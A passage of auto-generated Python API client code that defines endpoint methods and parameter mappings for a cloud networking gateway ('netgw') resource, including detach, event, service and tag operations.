number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
Netgw
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_detach = _Endpoint(
settings={
'response_type': (Netgw,),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}/actions/detach',
'operation_id': 'networking_project_netgw_detach',
'http_method': 'POST',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
'x_idempotency_key',
'x_dry_run',
],
'required': [
'project_id',
'location_id',
'netgw_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
'x_idempotency_key':
(str,),
'x_dry_run':
(str,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
'x_idempotency_key': 'x-idempotency-key',
'x_dry_run': 'x-dry-run',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
'x_idempotency_key': 'header',
'x_dry_run': 'header',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client,
callable=__networking_project_netgw_detach
)
def __networking_project_netgw_event_get(
self,
project_id,
location_id,
netgw_id,
event_id,
**kwargs
):
"""Get networking/netgw.event # noqa: E501
Get networking/netgw.event # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_event_get(project_id, location_id, netgw_id, event_id, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
event_id (str): eventId
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
Event
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
kwargs['event_id'] = \
event_id
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_event_get = _Endpoint(
settings={
'response_type': (Event,),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}/event/{eventId}',
'operation_id': 'networking_project_netgw_event_get',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
'event_id',
],
'required': [
'project_id',
'location_id',
'netgw_id',
'event_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
'event_id':
(str,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
'event_id': 'eventId',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
'event_id': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client,
callable=__networking_project_netgw_event_get
)
def __networking_project_netgw_event_list(
self,
project_id,
location_id,
netgw_id,
**kwargs
):
"""List networking/netgw.event # noqa: E501
List networking/netgw.event # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_event_list(project_id, location_id, netgw_id, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
Keyword Args:
limit (float): $limit. [optional] if omitted the server will use the default value of 100
skip (float): $skip. [optional]
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
[Event]
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_event_list = _Endpoint(
settings={
'response_type': ([Event],),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}/event',
'operation_id': 'networking_project_netgw_event_list',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
'limit',
'skip',
],
'required': [
'project_id',
'location_id',
'netgw_id',
],
'nullable': [
],
'enum': [
],
'validation': [
'limit',
]
},
root_map={
'validations': {
('limit',): {
'inclusive_maximum': 1000,
'inclusive_minimum': 1,
},
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
'limit':
(float,),
'skip':
(float,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
'limit': '$limit',
'skip': '$skip',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
'limit': 'query',
'skip': 'query',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client,
callable=__networking_project_netgw_event_list
)
def __networking_project_netgw_get(
self,
project_id,
location_id,
netgw_id,
**kwargs
):
"""Get networking/netgw # noqa: E501
Returns a single netgw # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_get(project_id, location_id, netgw_id, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
Netgw
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_get = _Endpoint(
settings={
'response_type': (Netgw,),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}',
'operation_id': 'networking_project_netgw_get',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
],
'required': [
'project_id',
'location_id',
'netgw_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client,
callable=__networking_project_netgw_get
)
def __networking_project_netgw_list(
self,
project_id,
location_id,
**kwargs
):
"""List networking/netgw # noqa: E501
List netgw # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_list(project_id, location_id, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
Keyword Args:
name (str): Filter by name. [optional]
tag_value (str): Filter by tag.value. [optional]
tag_key (str): Filter by tag.key. [optional]
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
[Netgw]
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_list = _Endpoint(
settings={
'response_type': ([Netgw],),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw',
'operation_id': 'networking_project_netgw_list',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'name',
'tag_value',
'tag_key',
],
'required': [
'project_id',
'location_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'name':
(str,),
'tag_value':
(str,),
'tag_key':
(str,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'name': 'name',
'tag_value': 'tag.value',
'tag_key': 'tag.key',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'name': 'query',
'tag_value': 'query',
'tag_key': 'query',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client,
callable=__networking_project_netgw_list
)
def __networking_project_netgw_service_get(
self,
project_id,
location_id,
netgw_id,
service_id,
**kwargs
):
"""Get networking/netgw.service # noqa: E501
Get networking/netgw.service # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_service_get(project_id, location_id, netgw_id, service_id, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
service_id (str): serviceId
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
ResourceService
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
kwargs['service_id'] = \
service_id
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_service_get = _Endpoint(
settings={
'response_type': (ResourceService,),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}/service/{serviceId}',
'operation_id': 'networking_project_netgw_service_get',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
'service_id',
],
'required': [
'project_id',
'location_id',
'netgw_id',
'service_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
'service_id':
(str,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
'service_id': 'serviceId',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
'service_id': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client,
callable=__networking_project_netgw_service_get
)
def __networking_project_netgw_service_list(
self,
project_id,
location_id,
netgw_id,
**kwargs
):
"""List networking/netgw.service # noqa: E501
List networking/netgw.service # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_service_list(project_id, location_id, netgw_id, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
[ResourceService]
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_service_list = _Endpoint(
settings={
'response_type': ([ResourceService],),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}/service',
'operation_id': 'networking_project_netgw_service_list',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
],
'required': [
'project_id',
'location_id',
'netgw_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client,
callable=__networking_project_netgw_service_list
)
def __networking_project_netgw_tag_create(
self,
project_id,
location_id,
netgw_id,
tag,
**kwargs
):
"""Create networking/netgw.tag # noqa: E501
Create networking/netgw.tag # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_tag_create(project_id, location_id, netgw_id, tag, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
tag (Tag):
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
Tag
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
kwargs['tag'] = \
tag
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_tag_create = _Endpoint(
settings={
'response_type': (Tag,),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}/tag',
'operation_id': 'networking_project_netgw_tag_create',
'http_method': 'POST',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
'tag',
],
'required': [
'project_id',
'location_id',
'netgw_id',
'tag',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
'tag':
(Tag,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
'tag': 'body',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [
'application/json'
]
},
api_client=api_client,
callable=__networking_project_netgw_tag_create
)
def __networking_project_netgw_tag_delete(
self,
project_id,
location_id,
netgw_id,
tag_id,
**kwargs
):
"""Delete networking/netgw.tag # noqa: E501
Delete networking/netgw.tag # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_tag_delete(project_id, location_id, netgw_id, tag_id, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
tag_id (str): tagId
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
None
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
kwargs['tag_id'] = \
tag_id
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_tag_delete = _Endpoint(
settings={
'response_type': None,
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}/tag/{tagId}',
'operation_id': 'networking_project_netgw_tag_delete',
'http_method': 'DELETE',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
'tag_id',
],
'required': [
'project_id',
'location_id',
'netgw_id',
'tag_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
'tag_id':
(str,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
'tag_id': 'tagId',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
'tag_id': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client,
callable=__networking_project_netgw_tag_delete
)
def __networking_project_netgw_tag_get(
self,
project_id,
location_id,
netgw_id,
tag_id,
**kwargs
):
"""Get networking/netgw.tag # noqa: E501
Get networking/netgw.tag # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_tag_get(project_id, location_id, netgw_id, tag_id, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
tag_id (str): tagId
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
Tag
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
kwargs['tag_id'] = \
tag_id
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_tag_get = _Endpoint(
settings={
'response_type': (Tag,),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}/tag/{tagId}',
'operation_id': 'networking_project_netgw_tag_get',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
'tag_id',
],
'required': [
'project_id',
'location_id',
'netgw_id',
'tag_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
'tag_id':
(str,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
'tag_id': 'tagId',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
'tag_id': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client,
callable=__networking_project_netgw_tag_get
)
def __networking_project_netgw_tag_list(
self,
project_id,
location_id,
netgw_id,
**kwargs
):
"""List networking/netgw.tag # noqa: E501
List networking/netgw.tag # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_tag_list(project_id, location_id, netgw_id, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
[Tag]
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_tag_list = _Endpoint(
settings={
'response_type': ([Tag],),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}/tag',
'operation_id': 'networking_project_netgw_tag_list',
'http_method': 'GET',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
],
'required': [
'project_id',
'location_id',
'netgw_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client,
callable=__networking_project_netgw_tag_list
)
def __networking_project_netgw_tag_put(
self,
project_id,
location_id,
netgw_id,
tag_array,
**kwargs
):
"""Replace networking/netgw.tag # noqa: E501
Replace networking/netgw.tag # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_tag_put(project_id, location_id, netgw_id, tag_array, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
tag_array (TagArray):
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
